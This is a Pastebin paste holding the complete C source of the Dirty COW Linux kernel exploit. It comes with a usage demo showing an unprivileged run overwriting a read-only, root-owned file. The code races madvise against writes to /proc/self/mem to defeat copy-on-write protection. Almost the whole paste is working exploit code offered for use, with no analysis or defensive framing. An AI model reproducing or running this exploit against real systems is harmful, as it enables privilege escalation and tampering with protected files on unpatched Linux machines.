Advertisement
TrojanCoder

dirtyc0w

Mar 26th, 2017
34
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C++ 2.87 KB | None | 0 0
  1. /*
  2. ####################### dirtyc0w.c #######################
  3. $ sudo -s
  4. # echo this is not a test > foo
  5. # chmod 0404 foo
  6. $ ls -lah foo
  7. -r-----r-- 1 root root 19 Oct 20 15:23 foo
  8. $ cat foo
  9. this is not a test
  10. $ gcc -pthread dirtyc0w.c -o dirtyc0w
  11. $ ./dirtyc0w foo m00000000000000000
  12. mmap 56123000
  13. madvise 0
  14. procselfmem 1800000000
  15. $ cat foo
  16. m00000000000000000
  17. ####################### dirtyc0w.c #######################
  18. */
  19. #include <stdio.h>
  20. #include <sys/mman.h>
  21. #include <fcntl.h>
  22. #include <pthread.h>
  23. #include <unistd.h>
  24. #include <sys/stat.h>
  25. #include <string.h>
  26. #include <stdint.h>
  27.  
  28. void *map;
  29. int f;
  30. struct stat st;
  31. char *name;
  32.  
  33. void *madviseThread(void *arg)
  34. {
  35.   char *str;
  36.   str=(char*)arg;
  37.   int i,c=0;
  38.   for(i=0;i<100000000;i++)
  39.   {
  40. /*
  41. You have to race madvise(MADV_DONTNEED) :: https://access.redhat.com/security/vulnerabilities/2706661
  42. > This is achieved by racing the madvise(MADV_DONTNEED) system call
  43. > while having the page of the executable mmapped in memory.
  44. */
  45.     c+=madvise(map,100,MADV_DONTNEED);
  46.   }
  47.   printf("madvise %d\n\n",c);
  48. }
  49.  
  50. void *procselfmemThread(void *arg)
  51. {
  52.   char *str;
  53.   str=(char*)arg;
  54. /*
  55. You have to write to /proc/self/mem :: https://bugzilla.redhat.com/show_bug.cgi?id=1384344#c16
  56. >  The in the wild exploit we are aware of doesn't work on Red Hat
  57. >  Enterprise Linux 5 and 6 out of the box because on one side of
  58. >  the race it writes to /proc/self/mem, but /proc/self/mem is not
  59. >  writable on Red Hat Enterprise Linux 5 and 6.
  60. */
  61.   int f=open("/proc/self/mem",O_RDWR);
  62.   int i,c=0;
  63.   for(i=0;i<100000000;i++) {
  64. /*
  65. You have to reset the file pointer to the memory position.
  66. */
  67.     lseek(f,(uintptr_t) map,SEEK_SET);
  68.     c+=write(f,str,strlen(str));
  69.   }
  70.   printf("procselfmem %d\n\n", c);
  71. }
  72.  
  73.  
  74. int main(int argc,char *argv[])
  75. {
  76. /*
  77. You have to pass two arguments. File and Contents.
  78. */
  79.   if (argc<3) {
  80.   (void)fprintf(stderr, "%s\n",
  81.       "usage: dirtyc0w target_file new_content");
  82.   return 1; }
  83.   pthread_t pth1,pth2;
  84. /*
  85. You have to open the file in read only mode.
  86. */
  87.   f=open(argv[1],O_RDONLY);
  88.   fstat(f,&st);
  89.   name=argv[1];
  90. /*
  91. You have to use MAP_PRIVATE for copy-on-write mapping.
  92. > Create a private copy-on-write mapping.  Updates to the
  93. > mapping are not visible to other processes mapping the same
  94. > file, and are not carried through to the underlying file.  It
  95. > is unspecified whether changes made to the file after the
  96. > mmap() call are visible in the mapped region.
  97. */
  98. /*
  99. You have to open with PROT_READ.
  100. */
  101.   map=mmap(NULL,st.st_size,PROT_READ,MAP_PRIVATE,f,0);
  102.   printf("mmap %zx\n\n",(uintptr_t) map);
  103. /*
  104. You have to do it on two threads.
  105. */
  106.   pthread_create(&pth1,NULL,madviseThread,argv[1]);
  107.   pthread_create(&pth2,NULL,procselfmemThread,argv[2]);
  108. /*
  109. You have to wait for the threads to finish.
  110. */
  111.   pthread_join(pth1,NULL);
  112.   pthread_join(pth2,NULL);
  113.   return 0;
  114. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement